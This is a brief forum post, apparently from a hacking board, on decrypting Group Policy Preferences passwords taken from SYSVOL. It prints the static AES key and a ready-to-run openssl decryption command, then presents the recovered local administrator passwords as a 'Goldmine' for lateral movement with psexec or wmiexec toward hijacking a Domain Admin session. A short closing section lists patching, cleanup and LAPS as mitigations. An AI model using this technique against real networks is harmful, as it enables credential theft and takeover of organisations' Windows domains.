How To Extract & Decrypt GPP Passwords from SYSVOL
by TheMekanic - Friday December 19, 2025 at 08:53 PM
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To see the Python script and the official Microsoft AES key for instant decryption, please Like and Reply to this thread!
Decryption via Terminal (Linux):
The Static Microsoft AES Key:
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
echo "YOUR_CPASSWORD_HERE" | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

4. Impact: Why this is a "Goldmine"
  • Local Admin Everywhere: These passwords are often applied to the local "Administrator" account on every workstation and server in the domain.
  • Lateral Movement: Once you have one Local Admin password, you can use
    psexec
    or
    wmiexec
    to jump between machines until you find a Domain Admin session to hijack.
5. How to: Mitigate & Detect
  • Patching: Ensure KB2962486 is installed to prevent new passwords from being stored.
  • Cleanup: Run the
    Get-SettingsWithCPassword.ps1
    script from Microsoft to find and delete old, vulnerable XML files.
  • Modern Alternative: Move to Windows LAPS (Local Administrator Password Solution) for secure, randomized local passwords.
6. Resources
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